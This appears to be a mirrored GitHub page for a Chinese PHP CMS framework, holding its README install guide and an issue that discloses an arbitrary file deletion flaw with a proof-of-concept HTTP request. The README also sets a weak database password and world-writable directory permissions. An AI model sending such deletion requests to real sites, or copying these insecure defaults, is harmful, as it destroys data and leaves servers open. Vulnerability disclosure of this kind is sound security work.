GithubHelp home page GithubHelp logo

qdsay / cms Goto Github PK

View Code? Open in Web Editor NEW
34.0 9.0 14.0 3.47 MB

勤道CMS不仅是一套极简的内容管理系统,还是一套PHP基础开发框架,他涵盖了我们日常开发中最常用的类库。与此同时,勤道CMS还提供了一套高可配置的脚手架程序(代码生成器),用于快速构建内容管理系统中的CRUD程序。

Home Page: http://www.qdsay.com

License: MIT License

ApacheConf 0.01% PHP 58.10% HTML 2.15% Smarty 1.83% CSS 2.96% JavaScript 34.70% PLpgSQL 0.25%

cms's Introduction

#勤道CMS构建文档
勤道CMS不仅是一套极简的内容管理系统,还是一套PHP基础开发框架,他涵盖了我们日常开发中最常用的基础类库。

与此同时,勤道CMS还提供了一套高可配置的脚手架程序(代码生成器),用于快速构建内容管理系统中的CRUD程序。

不同于其他的自动化代码生成程序,多数情况下,由勤道脚手架构建的CRUD程序,并不需要我们作过多的修改,即可完全用于线上发布。系统在保证代码一致性的基础上,提供了涵盖控制器层和视图层的双层输入检查,这省去了我们大量的不必要的测试性工作。

而且,脚手架程序并未生成与系统功能实现以外的任何无效代码,保证代码的可读、可维护、可扩展,便于我们进行迭代开发和深层定制开发。

##项目简介 勤道CMS基于Codeigniter 2.3 开发,由勤道项目组维护,一直作为内部基础开发框架使用。
随着CI 3.0的发布,勤道CMS迁移至CI 3.0,并于2016年1月18日正式开源。

##安装 勤道CMS作为一套基础开发框架,为技术人员设计,所以并未提供安装引导程序。
系统设计的初衷之一:不增加与系统功能实现无关的代码,保持勤道CMS的简洁、易扩展、易维护。

###导入数据库 ####新建数据库:qdsay

CREATE DATABASE IF NOT EXISTS qdsay DEFAULT CHARSET utf8 COLLATE utf8_general_ci;

创建用户:qdmaster,并为数据库:qdsay 赋予增、删、改、查权限,并设置访问密码:123456

GRANT SELECT,INSERT,UPDATE,DELETE
ON qdsay.*
TO qdmaster@localhost
IDENTIFIED BY '123456';

导入数据库表结构:

USE qdsay;
SOURCE ./database/qdsay.sql

####修改数据库配置

#vim application/config/database.php
#vim application/backend/config/database.php
#vim application/config/config.php
#vim application/backend/config/config.php

###文件权限 前台程序入口:qdsay/index.php
后台程序入口:qdsay/backend/index.php
####发布版本文件权限

#sudo chmod -R 755 qdsay
#sudo chmod -R 777 qdsay/uploads
#sudo chmod -R 777 qdsay/application/cache
#sudo chmod -R 777 qdsay/application/logs
#sudo chmod -R 777 qdsay/application/backend/cache
#sudo chmod -R 777 qdsay/application/backend/logs

####开发版本目录权限 勤道基础开发框架拥有一个高度自定义的代码生成器 #####前台目录权限

#sudo chmod -R 777 qdsay/application/controllers
#sudo chmod -R 777 qdsay/application/models
#sudo chmod -R 777 qdsay/application/views

#####后台目录权限

#sudo chmod -R 777 qdsay/application/backend/controllers
#sudo chmod -R 777 qdsay/application/backend/models
#sudo chmod -R 777 qdsay/application/backend/views

注:项目发布后,修改上述目录权限为755,如下:

#sudo chmod -R 755 qdsay/application/controllers
#sudo chmod -R 755 qdsay/application/models
#sudo chmod -R 755 qdsay/application/views
#sudo chmod -R 755 qdsay/application/backend/controllers
#sudo chmod -R 755 qdsay/application/backend/models
#sudo chmod -R 755 qdsay/application/backend/views

##二次开发 勤道CMS作为一套开发框架将很容易在此进出之上进行程序扩展, ###建立数据库表
如需要使用脚手架CRUD程序,请使用如下数据库基础表结构。并为每张表和每个字段添加COMMENT。

###数据库基础表结构

CREATE TABLE qd_table_name (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
addtime int(10) unsigned NOT NULL DEFAULT '0' COMMENT '添加时间',
uptime timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (id),
KEY index_addtime (addtime),
KEY index_uptime (uptime)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='文章';

##脚手架的使用
勤道CMS基础开发框架拥有一套高度自定义的代码生成器(脚手架),程序会按照配置规则自动生成初始化程序
所以我们需要赋予上述目录写权限,项目发布前,移除脚手架程序后发布上线。

###与脚手架相关的程序文件

qdsay/application/backend/scaffold/
qdsay/application/backend/controllers/Scaffold.php
qdsay/application/backend/models/Scaffold_model.php
qdsay/application/backend/libraries/Template.php

###配置
####设置脚手架目录访问权限

#sudo chmod -R 777 qdsay/application/backend/scaffold/compiled
#sudo chmod -R 777 qdsay/application/backend/scaffold/template
#sudo chmod -R 777 qdsay/application/backend/scaffold/setup

####访问-程序入口地址:

localhost/backend/scaffold

####配置字段输入类型与输入方式:

文本框:Text
密码输入框:Password
文本域:TextArea
树状分类菜单组件:Catalog
下拉选项(DB):Select-From-DB
下拉选项(Array):Select-From-Array
单选框(DB):Radio-From-DB
单选框(Array):Radio-From-Array
复选框(DB):CheckBox-From-DB
复选框(Array):CheckBox-From-Array
开关:Switch
隐藏域:Hidden
上传组件:Attach
上传预览组件:Image
相册组件:Gallery
富文本编辑框:Editor
日期组件:Date
省市区三级联动(省份):Position-Province
省市区三级联动(城市):Position-City
省市区三级联动(区县):Position-District
是否启用:Enabled
添加时间:AddTime

cms's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cms's Issues

Good Project

Very Good!!!

Greate Project!!!

I 服了 YOU,星哥!!!

QDSAY cms has an arbitrary file deletion vulnerability in the remove function in application\backend\core\QD_Controller.php

code
The function remove not limit the delete filename,so I can delete any file.
POC:

delete

GET /backend/article/remove?filename=%2Flicense.txt HTTP/1.1
Host: localhost
Accept: /
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
DNT: 1
Referer: http://localhost/backend/article/edit/1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1531379042; greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9pbmRleC5waHA%2FbT1hZG1pbiZjPXBvc3RzJmE9cG9zdHMmaWQ9MQ%3D%3D; greencms_post_add1=x%9C%85%8FK%0B%C20%10%84%FF%8A%EC%C1S%C5%24%B4M%8D%E2%C5%83%27O%1E%8DH%1Fi%0D%D44%98%CDA%C4%FFnJ%7D%80%82%9E%96%99%FDf%97%B9%82%ED%1C%1EPc%AB%40%80%F4i%C1%98%F4Y%5D%2A%E9%E3%9A%D7%D2%F3%84e%EB%B3Rf%B5%D9B4%F0egP%19%0C%89%85%5D%8EM%E1%EC%7C%F4%7F%F4%17S%22%7D2%E3U%14%84%A2i%7F%3E.%7F%85%16rj%97%E1o%99%A3%03%B1%03%0A%FB%080o%DEbhp%B1%7D%01%A7M%13%9A%3CL%879%FA%00%82%F5E%AB%DD%F1%E9%A3%3A%D96%C7%EF%00v6x%E4%29%AB%81a%84f%13%C2%27%94%8Dh%22%E8L%D0%17q%EA%2A%5DkU%7DP%A9+%5C%C4%2FJ%F7%7B%0A%B7%3B%29%BCqm; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1532595699; tm=20e0109ed56458f613d642c25308ebcc; ci_session=f381a36b9806873709c66b7841b4bae32054f2cc
Connection: close

I hope you can fix this vulnerability。
author by: [email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.